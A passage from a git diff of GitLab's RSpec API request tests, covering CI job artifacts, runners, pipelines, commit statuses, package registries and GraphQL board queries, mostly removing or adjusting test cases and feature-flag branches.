- it 'responds with the workhorse send-url' do
- expect(response.headers[Gitlab::Workhorse::SEND_DATA_HEADER]).to start_with("send-url:")
- end
- end
-
- context 'when proxy download is disabled' do
- it 'returns location redirect' do
- expect(response).to have_gitlab_http_status(:found)
- end
- end
-
- context 'authorized user' do
- it 'returns the file remote URL' do
- expect(response).to redirect_to(artifact.file.url)
- end
- end
-
- context 'unauthorized user' do
- let(:api_user) { nil }
-
- it 'does not return specific job artifacts' do
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
- end
-
- context 'when public project guest and artifacts are non public' do
- let(:api_user) { guest }
- let(:job) { create(:ci_build, :artifacts, :non_public_artifacts, pipeline: pipeline) }
-
- before do
- project.update_column(:visibility_level,
- Gitlab::VisibilityLevel::PUBLIC)
- project.update_column(:public_builds, true)
- get api("/projects/#{project.id}/jobs/#{job.id}/artifacts", api_user)
- end
-
- it 'rejects access and hides existence of artifacts' do
- expect(response).to have_gitlab_http_status(:forbidden)
- end
-
- context 'with the non_public_artifacts feature flag disabled' do
- before do
- stub_feature_flags(non_public_artifacts: false)
- get api("/projects/#{project.id}/jobs/#{job.id}/artifacts", api_user)
- end
-
- it 'allows access to artifacts' do
- expect(response).to have_gitlab_http_status(:ok)
- end
- end
- end
-
- it 'does not return job artifacts if not uploaded' do
- get api("/projects/#{project.id}/jobs/#{job.id}/artifacts", api_user)
-
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
- end
- end
-
- describe 'GET /projects/:id/artifacts/:ref_name/download?job=name' do
- let(:api_user) { reporter }
- let(:job) { create(:ci_build, :artifacts, pipeline: pipeline, user: api_user) }
-
- before do
- stub_artifacts_object_storage
- job.success
- end
-
- def get_for_ref(ref = pipeline.ref, job_name = job.name)
- get api("/projects/#{project.id}/jobs/artifacts/#{ref}/download", api_user), params: { job: job_name }
- end
-
- context 'when not logged in' do
- let(:api_user) { nil }
-
- before do
- get_for_ref
- end
-
- it 'does not find a resource in a private project' do
- expect(project).to be_private
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
-
- context 'when logging as guest' do
- let(:api_user) { guest }
-
- before do
- get_for_ref
- end
-
- it 'gives 403' do
- expect(response).to have_gitlab_http_status(:forbidden)
- end
- end
-
- context 'non-existing job' do
- shared_examples 'not found' do
- it { expect(response).to have_gitlab_http_status(:not_found) }
- end
-
- context 'has no such ref' do
- before do
- get_for_ref('TAIL')
- end
-
- it_behaves_like 'not found'
- end
-
- context 'has no such job' do
- before do
- get_for_ref(pipeline.ref, 'NOBUILD')
- end
-
- it_behaves_like 'not found'
- end
- end
-
- context 'find proper job' do
- let(:job_with_artifacts) { job }
-
- shared_examples 'a valid file' do
- context 'when artifacts are stored locally', :sidekiq_might_not_need_inline do
- let(:download_headers) do
- { 'Content-Transfer-Encoding' => 'binary',
- 'Content-Disposition' =>
- %Q(attachment; filename="#{job_with_artifacts.artifacts_file.filename}"; filename*=UTF-8''#{job.artifacts_file.filename}) }
- end
-
- it { expect(response).to have_gitlab_http_status(:ok) }
- it { expect(response.headers.to_h).to include(download_headers) }
- end
-
- context 'when artifacts are stored remotely' do
- let(:job) { create(:ci_build, pipeline: pipeline, user: api_user) }
- let!(:artifact) { create(:ci_job_artifact, :archive, :remote_store, job: job) }
-
- before do
- job.reload
-
- get api("/projects/#{project.id}/jobs/#{job.id}/artifacts", api_user)
- end
-
- it 'returns location redirect' do
- expect(response).to have_gitlab_http_status(:found)
- end
- end
- end
-
- context 'with regular branch' do
- before do
- pipeline.reload
- pipeline.update!(ref: 'master',
- sha: project.commit('master').sha)
-
- get_for_ref('master')
- end
-
- it_behaves_like 'a valid file'
- end
-
- context 'with branch name containing slash' do
- before do
- pipeline.reload
- pipeline.update!(ref: 'improve/awesome', sha: project.commit('improve/awesome').sha)
- get_for_ref('improve/awesome')
- end
-
- it_behaves_like 'a valid file'
+ context 'when job failed' do
+ let(:job) do
+ create(:ci_build, :failed, :tags, pipeline: pipeline)
end
- context 'with job name in a child pipeline' do
- let(:child_pipeline) { create(:ci_pipeline, child_of: pipeline) }
- let!(:child_job) { create(:ci_build, :artifacts, :success, name: 'rspec', pipeline: child_pipeline) }
- let(:job_with_artifacts) { child_job }
-
- before do
- get_for_ref('master', child_job.name)
- end
+ it 'returns failure_reason' do
+ get api("/projects/#{project.id}/jobs/#{job.id}", api_user)
- it_behaves_like 'a valid file'
+ expect(json_response).to include('failure_reason')
end
end
- end
-
- describe 'GET id/jobs/artifacts/:ref_name/raw/*artifact_path?job=name' do
- context 'when job has artifacts' do
- let(:job) { create(:ci_build, :artifacts, pipeline: pipeline, user: api_user) }
- let(:artifact) { 'other_artifacts_0.1.2/another-subdirectory/banana_sample.gif' }
- let(:visibility_level) { Gitlab::VisibilityLevel::PUBLIC }
- let(:public_builds) { true }
+ context 'when trace artifact record exists with no stored file', :skip_before_request do
before do
- stub_artifacts_object_storage
- job.success
-
- project.update!(visibility_level: visibility_level,
- public_builds: public_builds)
-
- get_artifact_file(artifact)
- end
-
- context 'when user is anonymous' do
- let(:api_user) { nil }
-
- context 'when project is public' do
- let(:visibility_level) { Gitlab::VisibilityLevel::PUBLIC }
- let(:public_builds) { true }
-
- it 'allows to access artifacts', :sidekiq_might_not_need_inline do
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.headers.to_h)
- .to include('Content-Type' => 'application/json',
- 'Gitlab-Workhorse-Send-Data' => /artifacts-entry/)
- end
- end
-
- context 'when project is public with builds access disabled' do
- let(:visibility_level) { Gitlab::VisibilityLevel::PUBLIC }
- let(:public_builds) { false }
-
- it 'rejects access to artifacts' do
- expect(response).to have_gitlab_http_status(:forbidden)
- expect(json_response).to have_key('message')
- expect(response.headers.to_h)
- .not_to include('Gitlab-Workhorse-Send-Data' => /artifacts-entry/)
- end
- end
-
- context 'when project is public with non public artifacts' do
- let(:job) { create(:ci_build, :artifacts, :non_public_artifacts, pipeline: pipeline, user: api_user) }
- let(:visibility_level) { Gitlab::VisibilityLevel::PUBLIC }
- let(:public_builds) { true }
-
- it 'rejects access and hides existence of artifacts', :sidekiq_might_not_need_inline do
- get_artifact_file(artifact)
-
- expect(response).to have_gitlab_http_status(:forbidden)
- expect(json_response).to have_key('message')
- expect(response.headers.to_h)
- .not_to include('Gitlab-Workhorse-Send-Data' => /artifacts-entry/)
- end
-
- context 'with the non_public_artifacts feature flag disabled' do
- before do
- stub_feature_flags(non_public_artifacts: false)
- end
-
- it 'allows access to artifacts', :sidekiq_might_not_need_inline do
- get_artifact_file(artifact)
-
- expect(response).to have_gitlab_http_status(:ok)
- end
- end
- end
-
- context 'when project is private' do
- let(:visibility_level) { Gitlab::VisibilityLevel::PRIVATE }
- let(:public_builds) { true }
-
- it 'rejects access and hides existence of artifacts' do
- expect(response).to have_gitlab_http_status(:not_found)
- expect(json_response).to have_key('message')
- expect(response.headers.to_h)
- .not_to include('Gitlab-Workhorse-Send-Data' => /artifacts-entry/)
- end
- end
- end
-
- context 'when user is authorized' do
- let(:visibility_level) { Gitlab::VisibilityLevel::PRIVATE }
- let(:public_builds) { true }
-
- it 'returns a specific artifact file for a valid path', :sidekiq_might_not_need_inline do
- expect(Gitlab::Workhorse)
- .to receive(:send_artifacts_entry)
- .and_call_original
-
- get_artifact_file(artifact)
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.headers.to_h)
- .to include('Content-Type' => 'application/json',
- 'Gitlab-Workhorse-Send-Data' => /artifacts-entry/)
- expect(response.parsed_body).to be_empty
- end
- end
-
- context 'with branch name containing slash' do
- before do
- pipeline.reload
- pipeline.update!(ref: 'improve/awesome',
- sha: project.commit('improve/awesome').sha)
- end
-
- it 'returns a specific artifact file for a valid path', :sidekiq_might_not_need_inline do
- get_artifact_file(artifact, 'improve/awesome')
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.headers.to_h)
- .to include('Content-Type' => 'application/json',
- 'Gitlab-Workhorse-Send-Data' => /artifacts-entry/)
- end
- end
-
- context 'non-existing job' do
- shared_examples 'not found' do
- it { expect(response).to have_gitlab_http_status(:not_found) }
- end
-
- context 'has no such ref' do
- before do
- get_artifact_file('some/artifact', 'wrong-ref')
- end
-
- it_behaves_like 'not found'
- end
-
- context 'has no such job' do
- before do
- get_artifact_file('some/artifact', pipeline.ref, 'wrong-job-name')
- end
-
- it_behaves_like 'not found'
- end
+ create(:ci_job_artifact, :unarchived_trace_artifact, job: job, project: job.project)
end
- end
- context 'when job does not have artifacts' do
- let(:job) { create(:ci_build, pipeline: pipeline, user: api_user) }
-
- it 'does not return job artifact file' do
- get_artifact_file('some/artifact')
+ it 'returns no artifacts nor trace data' do
+ get api("/projects/#{project.id}/jobs/#{job.id}", api_user)
- expect(response).to have_gitlab_http_status(:not_found)
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['artifacts']).to be_an Array
+ expect(json_response['artifacts'].size).to eq(1)
+ expect(json_response['artifacts'][0]['file_type']).to eq('trace')
+ expect(json_response['artifacts'][0]['filename']).to eq('job.log')
end
end
-
- def get_artifact_file(artifact_path, ref = pipeline.ref, job_name = job.name)
- get api("/projects/#{project.id}/jobs/artifacts/#{ref}/raw/#{artifact_path}", api_user), params: { job: job_name }
- end
end
describe 'GET /projects/:id/jobs/:job_id/trace' do
@@ -1249,32 +706,6 @@ RSpec.describe API::Ci::Jobs do
end
end
- describe 'POST /projects/:id/jobs/:job_id/artifacts/keep' do
- before do
- post api("/projects/#{project.id}/jobs/#{job.id}/artifacts/keep", user)
- end
-
- context 'artifacts did not expire' do
- let(:job) do
- create(:ci_build, :trace_artifact, :artifacts, :success,
- project: project, pipeline: pipeline, artifacts_expire_at: Time.now + 7.days)
- end
-
- it 'keeps artifacts' do
- expect(response).to have_gitlab_http_status(:ok)
- expect(job.reload.artifacts_expire_at).to be_nil
- end
- end
-
- context 'no artifacts' do
- let(:job) { create(:ci_build, project: project, pipeline: pipeline) }
-
- it 'responds with not found' do
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
- end
-
describe 'POST /projects/:id/jobs/:job_id/play' do
before do
post api("/projects/#{project.id}/jobs/#{job.id}/play", api_user)
diff --git a/spec/requests/api/ci/pipelines_spec.rb b/spec/requests/api/ci/pipelines_spec.rb
index 7ae350885f4..13838cffd76 100644
--- a/spec/requests/api/ci/pipelines_spec.rb
+++ b/spec/requests/api/ci/pipelines_spec.rb
@@ -33,6 +33,7 @@ RSpec.describe API::Ci::Pipelines do
expect(json_response).to be_an Array
expect(json_response.first['sha']).to match(/\A\h{40}\z/)
expect(json_response.first['id']).to eq pipeline.id
+ expect(json_response.first['iid']).to eq pipeline.iid
expect(json_response.first['web_url']).to be_present
end
@@ -40,7 +41,7 @@ RSpec.describe API::Ci::Pipelines do
it 'includes pipeline source' do
get api("/projects/#{project.id}/pipelines", user)
- expect(json_response.first.keys).to contain_exactly(*%w[id project_id sha ref status web_url created_at updated_at source])
+ expect(json_response.first.keys).to contain_exactly(*%w[id iid project_id sha ref status web_url created_at updated_at source])
end
end
@@ -840,7 +841,7 @@ RSpec.describe API::Ci::Pipelines do
it 'exposes the coverage' do
get api("/projects/#{project.id}/pipelines/#{pipeline.id}", user)
- expect(json_response["coverage"].to_i).to eq(30)
+ expect(json_response["coverage"]).to eq('30.00')
end
end
end
diff --git a/spec/requests/api/ci/runner/jobs_artifacts_spec.rb b/spec/requests/api/ci/runner/jobs_artifacts_spec.rb
index 195aac2e5f0..f627f207d98 100644
--- a/spec/requests/api/ci/runner/jobs_artifacts_spec.rb
+++ b/spec/requests/api/ci/runner/jobs_artifacts_spec.rb
@@ -131,8 +131,8 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
let(:send_request) { subject }
end
- it 'updates runner info' do
- expect { subject }.to change { runner.reload.contacted_at }
+ it "doesn't update runner info" do
+ expect { subject }.not_to change { runner.reload.contacted_at }
end
shared_examples 'authorizes local file' do
@@ -280,8 +280,8 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
end
end
- it 'updates runner info' do
- expect { upload_artifacts(file_upload, headers_with_token) }.to change { runner.reload.contacted_at }
+ it "doesn't update runner info" do
+ expect { upload_artifacts(file_upload, headers_with_token) }.not_to change { runner.reload.contacted_at }
end
context 'when the artifact is too large' do
@@ -812,8 +812,8 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
let(:send_request) { download_artifact }
end
- it 'updates runner info' do
- expect { download_artifact }.to change { runner.reload.contacted_at }
+ it "doesn't update runner info" do
+ expect { download_artifact }.not_to change { runner.reload.contacted_at }
end
context 'when job has artifacts' do
diff --git a/spec/requests/api/ci/runner/jobs_request_post_spec.rb b/spec/requests/api/ci/runner/jobs_request_post_spec.rb
index fdf1a278d4c..68f7581bf06 100644
--- a/spec/requests/api/ci/runner/jobs_request_post_spec.rb
+++ b/spec/requests/api/ci/runner/jobs_request_post_spec.rb
@@ -833,8 +833,8 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
let(:expected_params) { { project: project.full_path, client_id: "runner/#{runner.id}" } }
end
- it_behaves_like 'not executing any extra queries for the application context', 2 do
- # Extra queries: Project, Route
+ it_behaves_like 'not executing any extra queries for the application context', 3 do
+ # Extra queries: Project, Route, RunnerProject
let(:subject_proc) { proc { request_job } }
end
end
diff --git a/spec/requests/api/ci/runner/runners_post_spec.rb b/spec/requests/api/ci/runner/runners_post_spec.rb
index b3a7d591c93..a51d8b458f8 100644
--- a/spec/requests/api/ci/runner/runners_post_spec.rb
+++ b/spec/requests/api/ci/runner/runners_post_spec.rb
@@ -98,33 +98,14 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
before do
create(:ci_runner, runner_type: :project_type, projects: [project], contacted_at: 1.second.ago)
create(:plan_limits, :default_plan, ci_registered_project_runners: 1)
-
- skip_default_enabled_yaml_check
- stub_feature_flags(ci_runner_limits_override: ci_runner_limits_override)
- end
-
- context 'with ci_runner_limits_override FF disabled' do
- let(:ci_runner_limits_override) { false }
-
- it 'does not create runner' do
- request
-
- expect(response).to have_gitlab_http_status(:bad_request)
- expect(json_response['message']).to include('runner_projects.base' => ['Maximum number of ci registered project runners (1) exceeded'])
- expect(project.runners.reload.size).to eq(1)
- end
end
- context 'with ci_runner_limits_override FF enabled' do
- let(:ci_runner_limits_override) { true }
-
- it 'creates runner' do
- request
+ it 'does not create runner' do
+ request
- expect(response).to have_gitlab_http_status(:created)
- expect(json_response['message']).to be_nil
- expect(project.runners.reload.size).to eq(2)
- end
+ expect(response).to have_gitlab_http_status(:bad_request)
+ expect(json_response['message']).to include('runner_projects.base' => ['Maximum number of ci registered project runners (1) exceeded'])
+ expect(project.runners.reload.size).to eq(1)
end
end
@@ -132,9 +113,6 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
before do
create(:ci_runner, runner_type: :project_type, projects: [project], created_at: 14.months.ago, contacted_at: 13.months.ago)
create(:plan_limits, :default_plan, ci_registered_project_runners: 1)
-
- skip_default_enabled_yaml_check
- stub_feature_flags(ci_runner_limits_override: false)
end
it 'creates runner' do
@@ -204,33 +182,14 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
before do
create(:ci_runner, runner_type: :group_type, groups: [group], contacted_at: nil, created_at: 1.month.ago)
create(:plan_limits, :default_plan, ci_registered_group_runners: 1)
-
- skip_default_enabled_yaml_check
- stub_feature_flags(ci_runner_limits_override: ci_runner_limits_override)
- end
-
- context 'with ci_runner_limits_override FF disabled' do
- let(:ci_runner_limits_override) { false }
-
- it 'does not create runner' do
- request
-
- expect(response).to have_gitlab_http_status(:bad_request)
- expect(json_response['message']).to include('runner_namespaces.base' => ['Maximum number of ci registered group runners (1) exceeded'])
- expect(group.runners.reload.size).to eq(1)
- end
end
- context 'with ci_runner_limits_override FF enabled' do
- let(:ci_runner_limits_override) { true }
-
- it 'creates runner' do
- request
+ it 'does not create runner' do
+ request
- expect(response).to have_gitlab_http_status(:created)
- expect(json_response['message']).to be_nil
- expect(group.runners.reload.size).to eq(2)
- end
+ expect(response).to have_gitlab_http_status(:bad_request)
+ expect(json_response['message']).to include('runner_namespaces.base' => ['Maximum number of ci registered group runners (1) exceeded'])
+ expect(group.runners.reload.size).to eq(1)
end
end
@@ -239,9 +198,6 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
create(:ci_runner, runner_type: :group_type, groups: [group], created_at: 4.months.ago, contacted_at: 3.months.ago)
create(:ci_runner, runner_type: :group_type, groups: [group], contacted_at: nil, created_at: 4.months.ago)
create(:plan_limits, :default_plan, ci_registered_group_runners: 1)
-
- skip_default_enabled_yaml_check
- stub_feature_flags(ci_runner_limits_override: false)
end
it 'creates runner' do
diff --git a/spec/requests/api/ci/runners_spec.rb b/spec/requests/api/ci/runners_spec.rb
index 6879dfc9572..6ca380a3cb9 100644
--- a/spec/requests/api/ci/runners_spec.rb
+++ b/spec/requests/api/ci/runners_spec.rb
@@ -254,6 +254,7 @@ RSpec.describe API::Ci::Runners do
expect(response).to have_gitlab_http_status(:ok)
expect(json_response['description']).to eq(shared_runner.description)
expect(json_response['maximum_timeout']).to be_nil
+ expect(json_response['status']).to eq("not_connected")
end
end
@@ -1101,31 +1102,13 @@ RSpec.describe API::Ci::Runners do
context 'when it exceeds the application limits' do
before do
create(:plan_limits, :default_plan, ci_registered_project_runners: 1)
-
- skip_default_enabled_yaml_check
- stub_feature_flags(ci_runner_limits_override: ci_runner_limits_override)
end
- context 'with ci_runner_limits_override FF disabled' do
- let(:ci_runner_limits_override) { false }
-
- it 'does not enable specific runner' do
- expect do
- post api("/projects/#{project.id}/runners", admin), params: { runner_id: new_project_runner.id }
- end.not_to change { project.runners.count }
- expect(response).to have_gitlab_http_status(:bad_request)
- end
- end
-
- context 'with ci_runner_limits_override FF enabled' do
- let(:ci_runner_limits_override) { true }
-
- it 'enables specific runner' do
- expect do
- post api("/projects/#{project.id}/runners", admin), params: { runner_id: new_project_runner.id }
- end.to change { project.runners.count }
- expect(response).to have_gitlab_http_status(:created)
- end
+ it 'does not enable specific runner' do
+ expect do
+ post api("/projects/#{project.id}/runners", admin), params: { runner_id: new_project_runner.id }
+ end.not_to change { project.runners.count }
+ expect(response).to have_gitlab_http_status(:bad_request)
end
end
end
diff --git a/spec/requests/api/commit_statuses_spec.rb b/spec/requests/api/commit_statuses_spec.rb
index 47bc3eb74a6..39be28d7427 100644
--- a/spec/requests/api/commit_statuses_spec.rb
+++ b/spec/requests/api/commit_statuses_spec.rb
@@ -14,8 +14,19 @@ RSpec.describe API::CommitStatuses do
let(:get_url) { "/projects/#{project.id}/repository/commits/#{sha}/statuses" }
context 'ci commit exists' do
- let!(:master) { project.ci_pipelines.create!(source: :push, sha: commit.id, ref: 'master', protected: false) }
- let!(:develop) { project.ci_pipelines.create!(source: :push, sha: commit.id, ref: 'develop', protected: false) }
+ let!(:master) do
+ project.ci_pipelines.build(source: :push, sha: commit.id, ref: 'master', protected: false).tap do |p|
+ p.ensure_project_iid! # Necessary to avoid cross-database modification error
+ p.save!
+ end
+ end
+
+ let!(:develop) do
+ project.ci_pipelines.build(source: :push, sha: commit.id, ref: 'develop', protected: false).tap do |p|
+ p.ensure_project_iid! # Necessary to avoid cross-database modification error
+ p.save!
+ end
+ end
context "reporter user" do
let(:statuses_id) { json_response.map { |status| status['id'] } }
@@ -131,7 +142,7 @@ RSpec.describe API::CommitStatuses do
%w[pending running success failed canceled].each do |status|
context "for #{status}" do
context 'when pipeline for sha does not exists' do
- it 'creates commit status' do
+ it 'creates commit status and sets pipeline iid' do
post api(post_url, developer), params: { state: status }
expect(response).to have_gitlab_http_status(:created)
@@ -145,6 +156,8 @@ RSpec.describe API::CommitStatuses do
if status == 'failed'
expect(CommitStatus.find(json_response['id'])).to be_api_failure
end
+
+ expect(::Ci::Pipeline.last.iid).not_to be_nil
end
end
end
@@ -308,8 +321,19 @@ RSpec.describe API::CommitStatuses do
end
context 'when a pipeline id is specified' do
- let!(:first_pipeline) { project.ci_pipelines.create!(source: :push, sha: commit.id, ref: 'master', status: 'created') }
- let!(:other_pipeline) { project.ci_pipelines.create!(source: :push, sha: commit.id, ref: 'master', status: 'created') }
+ let!(:first_pipeline) do
+ project.ci_pipelines.build(source: :push, sha: commit.id, ref: 'master', status: 'created').tap do |p|
+ p.ensure_project_iid! # Necessary to avoid cross-database modification error
+ p.save!
+ end
+ end
+
+ let!(:other_pipeline) do
+ project.ci_pipelines.build(source: :push, sha: commit.id, ref: 'master', status: 'created').tap do |p|
+ p.ensure_project_iid! # Necessary to avoid cross-database modification error
+ p.save!
+ end
+ end
subject do
post api(post_url, developer), params: {
diff --git a/spec/requests/api/commits_spec.rb b/spec/requests/api/commits_spec.rb
index 1d76c281dee..1e587480fd9 100644
--- a/spec/requests/api/commits_spec.rb
+++ b/spec/requests/api/commits_spec.rb
@@ -377,11 +377,11 @@ RSpec.describe API::Commits do
end
context 'when using warden' do
- it 'increments usage counters', :clean_gitlab_redis_shared_state do
+ it 'increments usage counters', :clean_gitlab_redis_sessions do
session_id = Rack::Session::SessionId.new('6919a6f1bb119dd7396fadc38fd18d0d')
session_hash = { 'warden.user.user.key' => [[user.id], user.encrypted_password[0, 29]] }
- Gitlab::Redis::SharedState.with do |redis|
+ Gitlab::Redis::Sessions.with do |redis|
redis.set("session:gitlab:#{session_id.private_id}", Marshal.dump(session_hash))
end
diff --git a/spec/requests/api/composer_packages_spec.rb b/spec/requests/api/composer_packages_spec.rb
index e75725cacba..21b4634ce25 100644
--- a/spec/requests/api/composer_packages_spec.rb
+++ b/spec/requests/api/composer_packages_spec.rb
@@ -9,6 +9,10 @@ RSpec.describe API::ComposerPackages do
let_it_be(:personal_access_token) { create(:personal_access_token, user: user) }
let_it_be(:package_name) { 'package-name' }
let_it_be(:project, reload: true) { create(:project, :custom_repo, files: { 'composer.json' => { name: package_name }.to_json }, group: group) }
+ let_it_be(:deploy_token_for_project) { create(:deploy_token, read_package_registry: true, write_package_registry: true) }
+ let_it_be(:project_deploy_token) { create(:project_deploy_token, deploy_token: deploy_token_for_project, project: project) }
+ let_it_be(:deploy_token_for_group) { create(:deploy_token, :group, read_package_registry: true, write_package_registry: true) }
+ let_it_be(:group_deploy_token) { create(:group_deploy_token, deploy_token: deploy_token_for_group, group: group) }
let(:snowplow_gitlab_standard_context) { { project: project, namespace: project.namespace, user: user } }
let(:headers) { {} }
@@ -92,6 +96,8 @@ RSpec.describe API::ComposerPackages do
group.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
end
+ it_behaves_like 'Composer access with deploy tokens'
+
context 'with access to the api' do
where(:project_visibility_level, :user_role, :member, :user_token, :include_package) do
'PRIVATE' | :developer | true | true | :include_package
@@ -162,6 +168,8 @@ RSpec.describe API::ComposerPackages do
it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
end
end
+
+ it_behaves_like 'Composer access with deploy tokens'
end
it_behaves_like 'rejects Composer access with unknown group id'
@@ -219,6 +227,8 @@ RSpec.describe API::ComposerPackages do
end
end
end
+
+ it_behaves_like 'Composer access with deploy tokens'
end
it_behaves_like 'rejects Composer access with unknown group id'
@@ -265,6 +275,8 @@ RSpec.describe API::ComposerPackages do
it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
end
end
+
+ it_behaves_like 'Composer access with deploy tokens'
end
it_behaves_like 'rejects Composer access with unknown group id'
@@ -308,6 +320,8 @@ RSpec.describe API::ComposerPackages do
it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
end
end
+
+ it_behaves_like 'Composer publish with deploy tokens'
end
it_behaves_like 'rejects Composer access with unknown project id'
diff --git a/spec/requests/api/conan_project_packages_spec.rb b/spec/requests/api/conan_project_packages_spec.rb
index da054ed2e96..c108f2efaaf 100644
--- a/spec/requests/api/conan_project_packages_spec.rb
+++ b/spec/requests/api/conan_project_packages_spec.rb
@@ -1,10 +1,11 @@
# frozen_string_literal: true
require 'spec_helper'
-RSpec.describe API::ConanProjectPackages, quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/326194' do
+RSpec.describe API::ConanProjectPackages do
include_context 'conan api setup'
let(:project_id) { project.id }
+ let(:snowplow_standard_context_params) { { user: user, project: project, namespace: project.namespace } }
describe 'GET /api/v4/projects/:id/packages/conan/v1/ping' do
let(:url) { "/projects/#{project.id}/packages/conan/v1/ping" }
@@ -92,7 +93,7 @@ RSpec.describe API::ConanProjectPackages, quarantine: 'https://gitlab.com/gitlab
end
end
- context 'file download endpoints' do
+ context 'file download endpoints', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/326194' do
include_context 'conan file download endpoints'
describe 'GET /api/v4/projects/:id/packages/conan/v1/files/:package_name/package_version/:package_username/:package_channel/
diff --git a/spec/requests/api/dependency_proxy_spec.rb b/spec/requests/api/dependency_proxy_spec.rb
index 2837d1c02c4..067852ef1e9 100644
--- a/spec/requests/api/dependency_proxy_spec.rb
+++ b/spec/requests/api/dependency_proxy_spec.rb
@@ -3,8 +3,6 @@
require 'spec_helper'
RSpec.describe API::DependencyProxy, api: true do
- include ExclusiveLeaseHelpers
-
let_it_be(:user) { create(:user) }
let_it_be(:blob) { create(:dependency_proxy_blob )}
let_it_be(:group, reload: true) { blob.group }
@@ -20,11 +18,8 @@ RSpec.describe API::DependencyProxy, api: true do
shared_examples 'responding to purge requests' do
context 'with feature available and enabled' do
- let_it_be(:lease_key) { "dependency_proxy:delete_group_blobs:#{group.id}" }
-
context 'an admin user' do
it 'deletes the blobs and returns no content' do
- stub_exclusive_lease(lease_key, timeout: 1.hour)
expect(PurgeDependencyProxyCacheWorker).to receive(:perform_async)
subject
@@ -32,23 +27,6 @@ RSpec.describe API::DependencyProxy, api: true do
expect(response).to have_gitlab_http_status(:accepted)
expect(response.body).to eq('202')
end
-
- context 'called multiple times in one hour', :clean_gitlab_redis_shared_state do
- it 'returns 409 with an error message' do
- stub_exclusive_lease_taken(lease_key, timeout: 1.hour)
-
- subject
-
- expect(response).to have_gitlab_http_status(:conflict)
- expect(response.body).to include('This request has already been made.')
- end
-
- it 'executes service only for the first time' do
- expect(PurgeDependencyProxyCacheWorker).to receive(:perform_async).once
-
- 2.times { subject }
- end
- end
end
context 'a non-admin' do
diff --git a/spec/requests/api/error_tracking/collector_spec.rb b/spec/requests/api/error_tracking/collector_spec.rb
index 21e2849fef0..573da862b57 100644
--- a/spec/requests/api/error_tracking/collector_spec.rb
+++ b/spec/requests/api/error_tracking/collector_spec.rb
@@ -24,7 +24,7 @@ RSpec.describe API::ErrorTracking::Collector do
end
RSpec.shared_examples 'successful request' do
- it 'writes to the database and returns OK' do
+ it 'writes to the database and returns OK', :aggregate_failures do
expect { subject }.to change { ErrorTracking::ErrorEvent.count }.by(1)
expect(response).to have_gitlab_http_status(:ok)
@@ -40,6 +40,8 @@ RSpec.describe API::ErrorTracking::Collector do
subject { post api(url), params: params, headers: headers }
+ it_behaves_like 'successful request'
+
context 'error tracking feature is disabled' do
before do
setting.update!(enabled: false)
@@ -109,8 +111,6 @@ RSpec.describe API::ErrorTracking::Collector do
it_behaves_like 'successful request'
end
-
- it_behaves_like 'successful request'
end
describe "POST /error_tracking/collector/api/:id/store" do
@@ -165,6 +165,12 @@ RSpec.describe API::ErrorTracking::Collector do
it_behaves_like 'successful request'
end
+ context 'body contains nullbytes' do
+ let_it_be(:raw_event) { fixture_file('error_tracking/parsed_event_nullbytes.json') }
+
+ it_behaves_like 'successful request'
+ end
+
context 'sentry_key as param and empty headers' do
let(:url) { "/error_tracking/collector/api/#{project.id}/store?sentry_key=#{sentry_key}" }
let(:headers) { {} }
diff --git a/spec/requests/api/graphql/boards/board_list_issues_query_spec.rb b/spec/requests/api/graphql/boards/board_list_issues_query_spec.rb
index 241c658441b..6324db0be4a 100644
--- a/spec/requests/api/graphql/boards/board_list_issues_query_spec.rb
+++ b/spec/requests/api/graphql/boards/board_list_issues_query_spec.rb
@@ -16,6 +16,7 @@ RSpec.describe 'get board lists' do
let(:params) { '' }
let(:board) { }
+ let(:confidential) { false }
let(:board_parent_type) { board_parent.class.to_s.downcase }
let(:board_data) { graphql_data[board_parent_type]['boards']['nodes'][0] }
let(:lists_data) { board_data['lists']['nodes'][0] }
@@ -30,7 +31,7 @@ RSpec.describe 'get board lists' do
nodes {
lists {
nodes {
- issues(filters: {labelName: "#{label2.title}"}, first: 3) {
+ issues(filters: {labelName: "#{label2.title}", confidential: #{confidential}}, first: 3) {
count
nodes {
#{all_graphql_fields_for('issues'.classify)}
@@ -57,14 +58,15 @@ RSpec.describe 'get board lists' do
end
shared_examples 'group and project board list issues query' do
- let!(:board) { create(:board, resource_parent: board_parent) }
- let!(:label_list) { create(:list, board: board, label: label, position: 10) }
- let!(:issue1) { create(:issue, project: issue_project, labels: [label, label2], relative_position: 9) }
- let!(:issue2) { create(:issue, project: issue_project, labels: [label, label2], relative_position: 2) }
- let!(:issue3) { create(:issue, project: issue_project, labels: [label, label2], relative_position: nil) }
- let!(:issue4) { create(:issue, project: issue_project, labels: [label], relative_position: 9) }
- let!(:issue5) { create(:issue, project: issue_project, labels: [label2], relative_position: 432) }
- let!(:issue6) { create(:issue, project: issue_project, labels: [label, label2], relative_position: nil) }
+ let_it_be(:board) { create(:board, resource_parent: board_parent) }
+ let_it_be(:label_list) { create(:list, board: board, label: label, position: 10) }
+ let_it_be(:issue1) { create(:issue, project: issue_project, labels: [label, label2], relative_position: 9) }
+ let_it_be(:issue2) { create(:issue, project: issue_project, labels: [label, label2], relative_position: 2) }
+ let_it_be(:issue3) { create(:issue, project: issue_project, labels: [label, label2], relative_position: nil) }
